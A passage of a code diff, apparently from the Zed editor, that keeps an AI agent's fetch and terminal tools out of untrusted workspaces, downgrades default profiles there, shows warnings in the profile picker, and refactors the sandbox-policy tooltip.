+        cx: &App,
+    ) -> (AgentProfileId, bool) {
+        let is_write_or_ask = profile_id.as_str() == builtin_profiles::WRITE
+            || profile_id.as_str() == builtin_profiles::ASK;
+        let minimal = AgentProfileId(builtin_profiles::MINIMAL.into());
+        if is_write_or_ask
+            && TrustedWorktrees::has_restricted_worktrees(&project.read(cx).worktree_store(), cx)
+            && AgentProfileSettings::is_unmodified_default(&profile_id, cx)
+            && AgentProfileSettings::is_unmodified_default(&minimal, cx)
+        {
+            (minimal, true)
+        } else {
+            (profile_id, false)
+        }
+    }
+
     pub fn set_profile(&mut self, profile_id: AgentProfileId, cx: &mut Context<Self>) {
+        // An explicit selection means any earlier automatic downgrade no longer
+        // applies, even if the user re-selects the same profile.
+        self.profile_downgraded_for_restricted_workspace = false;
+
         if self.profile_id == profile_id {
             return;
         }
@@ -3458,6 +3503,26 @@ impl Thread {
         cancellation_rx: watch::Receiver<bool>,
         cx: &mut Context<Self>,
     ) -> Task<LanguageModelToolResult> {
+        // A workspace can become restricted after a thread has already started.
+        // Tools that aren't allowed in restricted workspaces must never run in
+        // that state, even though they were exposed to the model earlier.
+        if !tool.allow_in_restricted_mode()
+            && TrustedWorktrees::has_restricted_worktrees(
+                &self.project.read(cx).worktree_store(),
+                cx,
+            )
+        {
+            return Task::ready(LanguageModelToolResult {
+                tool_use_id,
+                tool_name,
+                is_error: true,
+                content: vec![LanguageModelToolResultContent::Text(Arc::from(
+                    "workspace has become restricted",
+                ))],
+                output: None,
+            });
+        }
+
         let fs = self.project.read(cx).fs().clone();
         let tool_event_stream = ToolCallEventStream::new(
             tool_use_id.clone(),
@@ -3936,9 +4001,16 @@ impl Thread {
         // to the model under that name.
         let use_sandboxed_terminal = sandboxing_enabled_for_project(self.project.read(cx), cx);
 
+        // Tools that aren't allowed in restricted workspaces must never be
+        // provided to the model while the workspace is restricted, regardless
+        // of what the active profile enables.
+        let is_restricted =
+            TrustedWorktrees::has_restricted_worktrees(&self.project.read(cx).worktree_store(), cx);
+
         let mut tools = self
             .tools
             .iter()
+            .filter(|(_, tool)| !is_restricted || tool.allow_in_restricted_mode())
             .filter_map(|(tool_name, tool)| {
                 let terminal_variant = matches!(
                     tool_name.as_ref(),
@@ -4904,6 +4976,14 @@ where
         true
     }
 
+    /// Whether this tool may be provided to an agent in a restricted workspace.
+    ///
+    /// Tools that return `false` are never exposed to the model while the
+    /// workspace is restricted, and will fail if invoked in that state.
+    fn allow_in_restricted_mode() -> bool {
+        true
+    }
+
     /// Runs the tool with the provided input.
     ///
     /// Returns `Result<Self::Output, Self::Output>` rather than `Result<Self::Output, anyhow::Error>`
@@ -4967,6 +5047,9 @@ pub trait AnyAgentTool {
     fn supports_provider(&self, _provider: &LanguageModelProviderId) -> bool {
         true
     }
+    fn allow_in_restricted_mode(&self) -> bool {
+        true
+    }
     /// See [`AgentTool::run`] for why this returns `Result<AgentToolOutput, AgentToolOutput>`.
     fn run(
         self: Arc<Self>,
@@ -5018,6 +5101,10 @@ where
         T::supports_provider(provider)
     }
 
+    fn allow_in_restricted_mode(&self) -> bool {
+        T::allow_in_restricted_mode()
+    }
+
     fn run(
         self: Arc<Self>,
         input: ToolInput<serde_json::Value>,
diff --git a/crates/agent/src/tools.rs b/crates/agent/src/tools.rs
index 42d47a13275345..f55c16ae931929 100644
--- a/crates/agent/src/tools.rs
+++ b/crates/agent/src/tools.rs
@@ -138,6 +138,18 @@ macro_rules! tools {
             false
         }
 
+        /// Returns whether the tool with the given name may be provided to an
+        /// agent in a restricted workspace. Unknown tools (e.g. MCP tools) are
+        /// considered allowed.
+        pub fn tool_allowed_in_restricted_mode(name: &str) -> bool {
+            $(
+                if name == <$tool>::NAME {
+                    return <$tool>::allow_in_restricted_mode();
+                }
+            )*
+            true
+        }
+
         /// A list of all built-in tools
         pub fn built_in_tools() -> impl Iterator<Item = LanguageModelRequestTool> {
             fn language_model_tool<T: AgentTool>() -> LanguageModelRequestTool {
@@ -219,3 +231,25 @@ pub fn tool_feature_flag_enabled(tool_name: &str, cx: &App) -> bool {
         _ => true,
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn fetch_and_terminal_are_forbidden_in_restricted_mode() {
+        assert!(!tool_allowed_in_restricted_mode(FetchTool::NAME));
+        assert!(!tool_allowed_in_restricted_mode(TerminalTool::NAME));
+
+        // Every other built-in tool, and unknown (e.g. MCP) tools, are allowed.
+        for name in ALL_TOOL_NAMES {
+            let expected = *name != FetchTool::NAME && *name != TerminalTool::NAME;
+            assert_eq!(
+                tool_allowed_in_restricted_mode(name),
+                expected,
+                "unexpected restricted-mode policy for tool `{name}`"
+            );
+        }
+        assert!(tool_allowed_in_restricted_mode("some_mcp_tool"));
+    }
+}
diff --git a/crates/agent/src/tools/fetch_tool.rs b/crates/agent/src/tools/fetch_tool.rs
index 7bc93740af2d3c..5d6cc82dbba2b3 100644
--- a/crates/agent/src/tools/fetch_tool.rs
+++ b/crates/agent/src/tools/fetch_tool.rs
@@ -124,6 +124,10 @@ impl AgentTool for FetchTool {
         acp::ToolKind::Fetch
     }
 
+    fn allow_in_restricted_mode() -> bool {
+        false
+    }
+
     fn initial_title(
         &self,
         input: Result<Self::Input, serde_json::Value>,
diff --git a/crates/agent/src/tools/terminal_tool.rs b/crates/agent/src/tools/terminal_tool.rs
index 87d334689cbbcf..9dba295126491d 100644
--- a/crates/agent/src/tools/terminal_tool.rs
+++ b/crates/agent/src/tools/terminal_tool.rs
@@ -298,6 +298,10 @@ impl AgentTool for TerminalTool {
         acp::ToolKind::Execute
     }
 
+    fn allow_in_restricted_mode() -> bool {
+        false
+    }
+
     fn initial_title(
         &self,
         input: Result<Self::Input, serde_json::Value>,
@@ -336,6 +340,10 @@ impl AgentTool for SandboxedTerminalTool {
         acp::ToolKind::Execute
     }
 
+    fn allow_in_restricted_mode() -> bool {
+        false
+    }
+
     fn initial_title(
         &self,
         input: Result<Self::Input, serde_json::Value>,
@@ -372,6 +380,32 @@ fn terminal_initial_title(input: Result<String, serde_json::Value>) -> SharedStr
     }
 }
 
+/// Windows only: resolve the `(release channel, version)` of the Linux `zed` to
+/// provision inside WSL as the sandbox helper. Dev (source) builds have no
+/// matching release, so they pull the latest nightly; every other channel pins
+/// its exact running version (stripped of pre-release/build metadata, which the
+/// release API doesn't key on).
+#[cfg(target_os = "windows")]
+fn wsl_zed_release(cx: &App) -> Option<(String, String)> {
+    use release_channel::{AppVersion, ReleaseChannel};
+    match *release_channel::RELEASE_CHANNEL {
+        ReleaseChannel::Dev => Some(("nightly".to_string(), "latest".to_string())),
+        channel => {
+            let version = AppVersion::global(cx);
+            Some((
+                channel.dev_name().to_string(),
+                format!("{}.{}.{}", version.major, version.minor, version.patch),
+            ))
+        }
+    }
+}
+
+/// Non-Windows platforms don't route through WSL, so there's no helper to fetch.
+#[cfg(not(target_os = "windows"))]
+fn wsl_zed_release(_cx: &App) -> Option<(String, String)> {
+    None
+}
+
 async fn run_terminal_tool(
     project: Entity<Project>,
     environment: Rc<dyn ThreadEnvironment>,
@@ -382,17 +416,26 @@ async fn run_terminal_tool(
     let selection = input.selection;
     let sandbox_input = input.sandbox.clone().unwrap_or_default();
 
-    let (working_dir, authorize, sandboxing, is_local_project) = cx.update(|cx| {
-        let working_dir = working_dir(&input.cd, &project, cx).map_err(|err| err.to_string())?;
-        let context =
-            crate::ToolPermissionContext::new(TerminalTool::NAME, vec![input.command.clone()]);
-        let authorize =
-            event_stream.authorize(SharedString::new(input.command.clone()), context, cx);
-        let sandboxing =
-            input.sandbox.is_some() && sandboxing_enabled_for_project(project.read(cx), cx);
-        let is_local_project = project.read(cx).is_local();
-        Result::<_, String>::Ok((working_dir, authorize, sandboxing, is_local_project))
-    })?;
+    let (working_dir, authorize, sandboxing, is_local_project, wsl_zed_release) =
+        cx.update(|cx| {
+            let working_dir =
+                working_dir(&input.cd, &project, cx).map_err(|err| err.to_string())?;
+            let context =
+                crate::ToolPermissionContext::new(TerminalTool::NAME, vec![input.command.clone()]);
+            let authorize =
+                event_stream.authorize(SharedString::new(input.command.clone()), context, cx);
+            let sandboxing =
+                input.sandbox.is_some() && sandboxing_enabled_for_project(project.read(cx), cx);
+            let is_local_project = project.read(cx).is_local();
+            let wsl_zed_release = wsl_zed_release(cx);
+            Result::<_, String>::Ok((
+                working_dir,
+                authorize,
+                sandboxing,
+                is_local_project,
+                wsl_zed_release,
+            ))
+        })?;
 
     authorize.await.map_err(|e| e.to_string())?;
 
@@ -621,6 +664,7 @@ async fn run_terminal_tool(
                 network: network_request_to_sandbox_network_access(&effective.network),
                 allow_fs_write: effective.allow_fs_write_all,
                 is_local: is_local_project,
+                wsl_zed_release: wsl_zed_release.clone(),
             };
 
             // The viability check runs a brief probe subprocess, so do it off
@@ -637,10 +681,9 @@ async fn run_terminal_tool(
                 let mut retries = 0usize;
                 loop {
                     let probe_wrap = wrap.clone();
-                    let probe_cwd = working_dir.clone();
                     let error = match cx
                         .background_executor()
-                        .spawn(async move { probe_wrap.can_create_sandbox(probe_cwd.as_deref()) })
+                        .spawn(async move { probe_wrap.can_create_sandbox() })
                         .await
                     {
                         Ok(()) => break Some(wrap),
@@ -686,10 +729,9 @@ async fn run_terminal_tool(
             #[cfg(not(target_os = "linux"))]
             {
                 let probe_wrap = wrap.clone();
-                let probe_cwd = working_dir.clone();
                 match cx
                     .background_executor()
-                    .spawn(async move { probe_wrap.can_create_sandbox(probe_cwd.as_deref()) })
+                    .spawn(async move { probe_wrap.can_create_sandbox() })
                     .await
                 {
                     Ok(()) => Some(wrap),
diff --git a/crates/agent_settings/src/agent_profile.rs b/crates/agent_settings/src/agent_profile.rs
index ca448ca85710aa..1283dbf1ea1508 100644
--- a/crates/agent_settings/src/agent_profile.rs
+++ b/crates/agent_settings/src/agent_profile.rs
@@ -7,7 +7,7 @@ use fs::Fs;
 use gpui::{App, SharedString};
 use settings::{
     AgentProfileContent, ContextServerPresetContent, LanguageModelSelection, Settings as _,
-    SettingsContent, update_settings_file,
+    SettingsContent, SettingsStore, update_settings_file,
 };
 use util::ResultExt as _;
 
@@ -116,6 +116,32 @@ impl AgentProfileSettings {
         self.tools.get(tool_name) == Some(&true)
     }
 
+    /// Whether the built-in profile with the given id still matches the shipped
+    /// default — i.e. the user has neither customized the built-in profile nor
+    /// shadowed it with a custom profile of the same id. Custom profile ids are
+    /// never considered unmodified defaults.
+    pub fn is_unmodified_default(profile_id: &AgentProfileId, cx: &App) -> bool {
+        if !builtin_profiles::is_builtin(profile_id) {
+            return false;
+        }
+        let store = cx.global::<SettingsStore>();
+        let profile_in = |content: &SettingsContent| {
+            content
+                .agent
+                .as_ref()
+                .and_then(|agent| agent.profiles.as_ref())
+                .and_then(|profiles| profiles.get(profile_id.as_str()))
+                .cloned()
+        };
+        match (
+            profile_in(store.merged_settings()),
+            profile_in(store.raw_default_settings()),
+        ) {
+            (Some(merged), Some(default)) => merged == default,
+            _ => false,
+        }
+    }
+
     pub fn is_context_server_tool_enabled(&self, server_id: &str, tool_name: &str) -> bool {
         self.context_servers
             .get(server_id)
@@ -247,4 +273,37 @@ mod tests {
         assert!(!profile.is_context_server_tool_enabled("server", "other_tool"));
         assert!(!profile.is_context_server_tool_enabled("other_server", "any_tool"));
     }
+
+    #[gpui::test]
+    fn unmodified_default_detection(cx: &mut gpui::App) {
+        use gpui::UpdateGlobal as _;
+
+        let store = SettingsStore::test(cx);
+        cx.set_global(store);
+        project::DisableAiSettings::register(cx);
+        AgentSettings::register(cx);
+
+        let write = AgentProfileId(builtin_profiles::WRITE.into());
+        let minimal = AgentProfileId(builtin_profiles::MINIMAL.into());
+        let custom = AgentProfileId("custom".into());
+
+        // Fresh defaults: the shipped built-in profiles are unmodified.
+        assert!(AgentProfileSettings::is_unmodified_default(&write, cx));
+        assert!(AgentProfileSettings::is_unmodified_default(&minimal, cx));
+        // Custom (non-built-in) ids are never considered unmodified defaults.
+        assert!(!AgentProfileSettings::is_unmodified_default(&custom, cx));
+
+        // The user customizes the `write` profile; `minimal` stays untouched.
+        SettingsStore::update_global(cx, |store, cx| {
+            store
+                .set_user_settings(
+                    r#"{ "agent": { "profiles": { "write": { "name": "Write", "tools": { "fetch": false } } } } }"#,
+                    cx,
+                )
+                .unwrap();
+        });
+
+        assert!(!AgentProfileSettings::is_unmodified_default(&write, cx));
+        assert!(AgentProfileSettings::is_unmodified_default(&minimal, cx));
+    }
 }
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index a101920102b670..43b10a4bd0074d 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -244,6 +244,17 @@ impl ProfileProvider for Entity<agent::Thread> {
     fn model_selected(&self, cx: &App) -> bool {
         self.read(cx).model().is_some()
     }
+
+    fn is_restricted(&self, cx: &App) -> bool {
+        project::trusted_worktrees::TrustedWorktrees::has_restricted_worktrees(
+            &self.read(cx).project().read(cx).worktree_store(),
+            cx,
+        )
+    }
+
+    fn profile_downgraded(&self, cx: &App) -> bool {
+        self.read(cx).profile_was_downgraded()
+    }
 }
 
 #[derive(Default)]
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index b81340e7cc5ddc..16b6b60875d1c6 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -4645,7 +4645,7 @@ impl ThreadView {
             // Sandboxed by settings, but disabled for this thread: show the
             // settings scope (greyed) for context above the disabled status.
             (ThreadSandbox::Sandboxed(settings_policy), ThreadSandbox::Unsandboxed) => {
-                let settings = augment_settings_sandbox_policy(settings_policy, baseline);
+                let settings = augment_settings_sandbox_policy(&settings_policy, baseline);
                 SandboxStatusTooltip::disabled_for_thread(sandbox_section(
                     "Defined in your settings:",
                     &settings,
@@ -4656,10 +4656,11 @@ impl ThreadView {
                 ThreadSandbox::Sandboxed(settings_policy),
                 ThreadSandbox::Sandboxed(thread_policy),
             ) => {
-                let settings = augment_settings_sandbox_policy(settings_policy, baseline);
+                let settings = augment_settings_sandbox_policy(&settings_policy, baseline);
+                let thread = SandboxPolicyDisplay::from_policy(&thread_policy);
                 // Omit the per-thread section when it grants nothing extra.
-                let thread = (!sandbox_policy_grants_nothing(&thread_policy))
-                    .then(|| sandbox_section("Allowed for this thread:", &thread_policy, false));
+                let thread = (!sandbox_policy_grants_nothing(&thread))
+                    .then(|| sandbox_section("Allowed for this thread:", &thread, false));
                 SandboxStatusTooltip::enabled(
                     sandbox_section("Defined in your settings:", &settings, true),
                     thread,
@@ -5604,6 +5605,83 @@ impl Render for TokenUsageTooltip {
     }
 }
 
+/// A display-ready snapshot of a sandbox policy for the status tooltip.
+///
+/// The opaque `HostFilesystemLocation`s in a policy are stringified up front,
+/// when this is built, so the tooltip state (which outlives the build and is
+/// captured by the lazy tooltip closure) never holds the locations' fds open.
+#[derive(Clone)]
+struct SandboxPolicyDisplay {
+    fs: SandboxFsDisplay,
+    network: SandboxNetPolicy,
+    git: SandboxGitDisplay,
+}
+
+/// The filesystem write-access portion of a [`SandboxPolicyDisplay`].
+#[derive(Clone)]
+enum SandboxFsDisplay {
+    Unrestricted,
+    Restricted(Vec<WritableEntryDisplay>),
+}
+
+/// A single writable entry to display in the sandbox tooltip: either a real host
+/// location (already stringified for display) or the Linux-only host-isolated
+/// `/tmp` overlay, which has no backing host path and is purely a label.
+#[derive(Clone)]
+enum WritableEntryDisplay {
+    Path(String),
+    // Only ever constructed on Linux (the bwrap `--tmpfs /tmp` overlay), so the
+    // variant is gated to match and avoid dead-code warnings elsewhere.
+    #[cfg(target_os = "linux")]
+    IsolatedTmp,
+}
+
+/// The Git-access portion of a [`SandboxPolicyDisplay`]: whether `.git` writes
+/// are granted, and the (display-only) `.git` directories the policy governs.
+#[derive(Clone)]
+struct SandboxGitDisplay {
+    allowed: bool,
+    git_dirs: Vec<String>,
+}
+
+impl SandboxPolicyDisplay {
+    /// Display a policy verbatim (used for the per-thread overrides, which carry
+    /// no implicit baseline grants). Takes the policy by reference and stringifies
+    /// its locations immediately, so no fd is retained past this call.
+    fn from_policy(policy: &SandboxPolicy) -> Self {
+        let fs = match &policy.fs {
+            SandboxFsPolicy::Unrestricted => SandboxFsDisplay::Unrestricted,
+            SandboxFsPolicy::Restricted { writable_paths } => SandboxFsDisplay::Restricted(
+                writable_paths
+                    .iter()
+                    .map(|location| {
+                        WritableEntryDisplay::Path(location.untrusted_path_display().to_string())
+                    })
+                    .collect(),
+            ),
+        };
+        SandboxPolicyDisplay {
+            fs,
+            network: policy.network.clone(),
+            git: SandboxGitDisplay::from_policy(&policy.git),
+        }
+    }
+}
+
+impl SandboxGitDisplay {
+    /// Stringify a Git policy's `.git` directories for display, retaining no fds.
+    fn from_policy(git: &GitSandboxPolicy) -> Self {
+        SandboxGitDisplay {
+            allowed: git.allows_writes(),
+            git_dirs: git
+                .git_dirs()
+                .iter()
+                .map(|location| location.untrusted_path_display().to_string())
+                .collect(),
+        }
+    }
+}
+
 /// Fold the always-granted baseline writable paths (the project's worktree
 /// roots, derived from the same source the terminal tool uses) and, on Linux,
 /// the host-isolated `/tmp` overlay into a settings policy for display. These
@@ -5612,27 +5690,51 @@ impl Render for TokenUsageTooltip {
 /// section rather than stored. A no-op when the fs is unrestricted (rendered as
 /// "All paths"), since there's nothing to scope.
 fn augment_settings_sandbox_policy(
-    mut policy: SandboxPolicy,
+    policy: &SandboxPolicy,
     baseline: Vec<PathBuf>,
-) -> SandboxPolicy {
-    if let SandboxFsPolicy::Restricted { writable_paths } = &mut policy.fs {
-        let mut merged = baseline;
-        for path in writable_paths.drain(..) {
-            if !merged.contains(&path) {
-                merged.push(path);
+) -> SandboxPolicyDisplay {
+    let fs = match &policy.fs {
+        SandboxFsPolicy::Unrestricted => SandboxFsDisplay::Unrestricted,
+        SandboxFsPolicy::Restricted { writable_paths } => {
+            // Dedup by display string. We deliberately don't open the locations'
+            // fds to dedup by inode here: this is a display-only tooltip and the
+            // string is the location's identity for that purpose. The string can
+            // only diverge from the captured inode while a symlink-swap is
+            // actively in progress, and in that case the bind validator refuses
+            // to run the command at all (see the `sandbox` crate) — so showing the
+            // requested path is always safe, and not worth a blocking syscall on
+            // the render path.
+            let mut merged: Vec<String> = Vec::new();
+            let baseline_paths = baseline.iter().map(|path| path.display().to_string());
+            let granted_paths = writable_paths
+                .iter()
+                .map(|location| location.untrusted_path_display().to_string());
+            for path in baseline_paths.chain(granted_paths) {
+                if !merged.contains(&path) {
+                    merged.push(path);
+                }
             }
+            // `mut` is only needed on Linux, where the isolated `/tmp` entry is
+            // pushed below.
+            #[cfg_attr(not(target_os = "linux"), allow(unused_mut))]
+            let mut entries: Vec<WritableEntryDisplay> =
+                merged.into_iter().map(WritableEntryDisplay::Path).collect();
+            // The ephemeral, host-isolated tmpfs at /tmp is Linux-specific (the
+            // bwrap `--tmpfs /tmp` overlay). It's a display-only label, not a
+            // real host path, so it can't be a captured location.
+            #[cfg(target_os = "linux")]
+            entries.push(WritableEntryDisplay::IsolatedTmp);
+            SandboxFsDisplay::Restricted(entries)
         }
-        // The ephemeral, host-isolated tmpfs at /tmp is Linux-specific (the
-        // bwrap `--tmpfs /tmp` overlay). It's a display-only label, not a real
-        // host path, so it can't come from the path source above.
-        #[cfg(target_os = "linux")]
-        merged.push(PathBuf::from("/tmp (isolated)"));
-        *writable_paths = merged;
-    }
-    policy
+    };
+    SandboxPolicyDisplay {
+        fs,
+        network: policy.network.clone(),
+        git: SandboxGitDisplay::from_policy(&policy.git),
+    }
 }
 
-fn sandbox_section(title: &str, policy: &SandboxPolicy, show_empty: bool) -> SandboxSection {
+fn sandbox_section(title: &str, policy: &SandboxPolicyDisplay, show_empty: bool) -> SandboxSection {
     let write_empty = fs_grants_nothing(&policy.fs);
     let network_empty = network_grants_nothing(&policy.network);
     let git_empty = git_grants_nothing(&policy.git);
@@ -5659,7 +5761,7 @@ fn sandbox_section(title: &str, policy: &SandboxPolicy, show_empty: bool) -> San
 
 /// Whether a policy grants nothing worth surfacing, used to decide whether to
 /// show the per-thread overrides section at all.
-fn sandbox_policy_grants_nothing(policy: &SandboxPolicy) -> bool {
+fn sandbox_policy_grants_nothing(policy: &SandboxPolicyDisplay) -> bool {
     fs_grants_nothing(&policy.fs)
         && network_grants_nothing(&policy.network)
         && git_grants_nothing(&policy.git)
@@ -5667,24 +5769,26 @@ fn sandbox_policy_grants_nothing(policy: &SandboxPolicy) -> bool {
 
 /// Git access grants nothing to surface unless `.git` writes are allowed *and*
 /// at least one `.git` directory is known.
-fn git_grants_nothing(git: &GitSandboxPolicy) -> bool {
-    !git.allows_writes() || git.git_dirs().is_empty()
+fn git_grants_nothing(git: &SandboxGitDisplay) -> bool {
+    !git.allowed || git.git_dirs.is_empty()
 }
 
 /// Rows for the Git-access group: one row per writable `.git` directory (these
 /// may live outside the project for a linked worktree).
-fn sandbox_git_rows(git: &GitSandboxPolicy) -> Vec<SandboxRow> {
-    match git {
-        GitSandboxPolicy::Allowed { git_dirs } if !git_dirs.is_empty() => git_dirs
-            .iter()
-            .map(|path| SandboxRow::git(path.clone()))
-            .collect(),
-        _ => Vec::new(),
+fn sandbox_git_rows(git: &SandboxGitDisplay) -> Vec<SandboxRow> {
+    if !git.allowed {
+        return Vec::new();
     }
+    git.git_dirs
+        .iter()
+        // The display string was captured up front; reconstruct a throwaway path
+        // here purely to render a label + icon (never used as an identity).
+        .map(|dir| SandboxRow::git(PathBuf::from(dir)))
+        .collect()
 }
 
-fn fs_grants_nothing(fs: &SandboxFsPolicy) -> bool {
-    matches!(fs, SandboxFsPolicy::Restricted { writable_paths } if writable_paths.is_empty())
+fn fs_grants_nothing(fs: &SandboxFsDisplay) -> bool {
+    matches!(fs, SandboxFsDisplay::Restricted(entries) if entries.is_empty())
 }
 
 fn network_grants_nothing(network: &SandboxNetPolicy) -> bool {
@@ -5697,15 +5801,22 @@ fn network_grants_nothing(network: &SandboxNetPolicy) -> bool {
 
 /// Rows for the write-access group: a message for the "all"/"none" cases, or one
 /// row per granted path.
-fn sandbox_fs_rows(fs: &SandboxFsPolicy) -> Vec<SandboxRow> {
+fn sandbox_fs_rows(fs: &SandboxFsDisplay) -> Vec<SandboxRow> {
     match fs {
-        SandboxFsPolicy::Unrestricted => vec![SandboxRow::message("All paths (unrestricted)")],
-        SandboxFsPolicy::Restricted { writable_paths } if writable_paths.is_empty() => {
+        SandboxFsDisplay::Unrestricted => vec![SandboxRow::message("All paths (unrestricted)")],
+        SandboxFsDisplay::Restricted(entries) if entries.is_empty() => {
             vec![SandboxRow::message("None")]
         }
-        SandboxFsPolicy::Restricted { writable_paths } => writable_paths
+        SandboxFsDisplay::Restricted(entries) => entries
             .iter()
-            .map(|path| SandboxRow::path(path.clone()))
+            .map(|entry| match entry {
+                // The display string was captured up front; see `sandbox_git_rows`.
+                WritableEntryDisplay::Path(path) => SandboxRow::path(PathBuf::from(path)),
+                #[cfg(target_os = "linux")]
+                WritableEntryDisplay::IsolatedTmp => {
+                    SandboxRow::path(PathBuf::from("/tmp (isolated)"))
+                }
+            })
             .collect(),
     }
 }
@@ -8265,27 +8376,23 @@ impl ThreadView {
                         }),
                 )
                 .when(has_host_list && is_open, |this| {
-                    this.child(
-                        v_flex()
-                            .id(("sandbox-network-hosts-list", entry_ix))
-                            .max_h_40()
-                            .overflow_y_scroll()
-                            .children(hosts.iter().enumerate().map(|(host_ix, host)| {
-                                h_flex()
-                                    .min_w_0()
-                                    .px_2()
-                                    .py_1p5()
-                                    .bg(cx.theme().colors().editor_background)
-                                    .when(host_ix < hosts.len() - 1, |this| {
-                                        this.border_b_1().border_color(cx.theme().colors().border)
-                                    })
-                                    .child(
-                                        Label::new(host.clone())
-                                            .size(LabelSize::XSmall)
-                                            .buffer_font(cx),
-                                    )
-                            })),
-                    )
+                    this.child(v_flex().children(hosts.iter().enumerate().map(
+                        |(host_ix, host)| {
+                            h_flex()
+                                .min_w_0()
+                                .px_2()
+                                .py_1p5()
+                                .bg(cx.theme().colors().editor_background)
+                                .when(host_ix < hosts.len() - 1, |this| {
+                                    this.border_b_1().border_color(cx.theme().colors().border)
+                                })
+                                .child(
+                                    Label::new(host.clone())
+                                        .size(LabelSize::XSmall)
+                                        .buffer_font(cx),
+                                )
+                        },
+                    )))
                 })
         });
 
@@ -8368,21 +8475,17 @@ impl ThreadView {
                         }),
                 )
                 .when(has_path_list && is_open, |this| {
-                    this.child(
-                        v_flex()
-                            .id(("sandbox-authorization-paths-list", entry_ix))
-                            .max_h_40()
-                            .overflow_y_scroll()
-                            .children(paths.iter().enumerate().map(|(path_ix, path)| {
-                                self.render_sandbox_authorization_path_row(
-                                    entry_ix,
-                                    path_ix,
-                                    path,
-                                    path_ix < paths.len() - 1,
-                                    cx,
-                                )
-                            })),
-                    )
+                    this.child(v_flex().children(paths.iter().enumerate().map(
+                        |(path_ix, path)| {
+                            self.render_sandbox_authorization_path_row(
+                                entry_ix,
+                                path_ix,
+                                path,
+                                path_ix < paths.len() - 1,
+                                cx,
+                            )
+                        },
+                    )))
                 })
         });
 
@@ -8439,9 +8542,9 @@ impl ThreadView {
         v_flex()
             .border_t_1()
             .border_color(self.tool_card_border_color(cx))
+            .children(git_access_section)
             .children(network_section)
             .children(write_section)
-            .children(git_access_section)
             .children(unsandboxed_section)
             .children(reason_section)
             .into_any_element()
diff --git a/crates/agent_ui/src/profile_selector.rs b/crates/agent_ui/src/profile_selector.rs
index 00f989b50134ca..3007b5fa3eb336 100644
--- a/crates/agent_ui/src/profile_selector.rs
+++ b/crates/agent_ui/src/profile_selector.rs
@@ -18,8 +18,9 @@ use std::{
 };
 use ui::{
     DocumentationAside, HighlightedLabel, KeyBinding, LabelSize, ListItem, ListItemSpacing,
-    PopoverMenuHandle, Tooltip, prelude::*,
+    PopoverMenuHandle, TintColor, Tooltip, prelude::*,
 };
+use workspace::ToggleWorktreeSecurity;
 
 /// Trait for types that can provide and manage agent profiles
 pub trait ProfileProvider {
@@ -34,6 +35,22 @@ pub trait ProfileProvider {
 
     /// Check if there is a model selected in the current context.
     fn model_selected(&self, cx: &App) -> bool;
+
+    /// Whether the current workspace is restricted (has untrusted worktrees).
+    ///
+    /// In a restricted workspace, profiles that enable tools forbidden in
+    /// restricted mode are flagged, and the active built-in `write`/`ask`
+    /// profiles are downgraded to `minimal`.
+    fn is_restricted(&self, _cx: &App) -> bool {
+        false
+    }
+
+    /// Whether the active profile has been downgraded to `minimal` because the
+    /// workspace is restricted (i.e. the user selected `write`/`ask`, but those
+    /// profiles aren't honored while restricted).
+    fn profile_downgraded(&self, _cx: &App) -> bool {
+        false
+    }
 }
 
 pub struct ProfileSelector {
@@ -188,9 +205,23 @@ impl Render for ProfileSelector {
             IconName::ChevronDown
         };
 
+        // Warn when the active profile is affected by a restricted workspace:
+        // either it was downgraded to `minimal`, or it still enables tools that
+        // are forbidden while restricted.
+        let show_warning = self.provider.is_restricted(cx)
+            && (self.provider.profile_downgraded(cx)
+                || !ProfilePickerDelegate::restricted_forbidden_tools(&profile_id, cx).is_empty());
+
         let trigger_button = Button::new("profile-selector", selected_profile)
             .label_size(LabelSize::Small)
             .color(Color::Muted)
+            .when(show_warning, |this| {
+                this.start_icon(
+                    Icon::new(IconName::Warning)
+                        .size(IconSize::XSmall)
+                        .color(Color::Warning),
+                )
+            })
             .end_icon(Icon::new(icon).size(IconSize::XSmall).color(Color::Muted));
 
         let tooltip: Box<dyn Fn(&mut Window, &mut App) -> AnyView> = Box::new(Tooltip::element({
@@ -339,6 +370,22 @@ impl ProfilePickerDelegate {
             .collect()
     }
 
+    /// Tools enabled by a profile that are forbidden while the workspace is
+    /// restricted. Returns an empty list for profiles that are safe to use.
+    fn restricted_forbidden_tools(profile_id: &AgentProfileId, cx: &App) -> Vec<SharedString> {
+        let Some(profile) = AgentSettings::get_global(cx).profiles.get(profile_id) else {
+            return Vec::new();
+        };
+        profile
+            .tools
+            .iter()
+            .filter(|(name, enabled)| {
+                **enabled && !agent::tool_allowed_in_restricted_mode(name.as_ref())
+            })
+            .map(|(name, _)| SharedString::from(name.to_string()))
+            .collect()
+    }
+
     fn documentation(candidate: &ProfileCandidate) -> Option<&'static str> {
         match candidate.id.as_str() {
             builtin_profiles::WRITE => Some("Get help to write anything."),
@@ -594,10 +641,17 @@ impl PickerDelegate for ProfilePickerDelegate {
                 let is_active = active_id == candidate.id;
                 let has_documentation = Self::documentation(candidate).is_some();
 
+                let has_warning = self.provider.is_restricted(cx)
+                    && !Self::restricted_forbidden_tools(&candidate.id, cx).is_empty();
+                // The warning details are merged into the documentation aside,
+                // so hovering either the row or the icon shows a single popup.
+                let track_hover = has_documentation || has_warning;
+                let has_end_slot = is_active || has_warning;
+
                 Some(
                     div()
                         .id(("profile-picker-item", ix))
-                        .when(has_documentation, |this| {
+                        .when(track_hover, |this| {
                             this.on_hover(cx.listener(move |picker, hovered, _, cx| {
                                 if *hovered {
                                     picker.delegate.hovered_index = Some(ix);
@@ -616,11 +670,23 @@ impl PickerDelegate for ProfilePickerDelegate {
                                     candidate.name.clone(),
                                     entry.positions.clone(),
                                 ))
-                                .when(is_active, |this| {
+                                .when(has_end_slot, |this| {
                                     this.end_slot(
-                                        div()
+                                        h_flex()
+                                            .gap_1()
                                             .pr_2()
-                                            .child(Icon::new(IconName::Check).color(Color::Accent)),
+                                            .when(has_warning, |this| {
+                                                this.child(
+                                                    Icon::new(IconName::Warning)
+                                                        .size(IconSize::Small)
+                                                        .color(Color::Warning),
+                                                )
+                                            })
+                                            .when(is_active, |this| {
+                                                this.child(
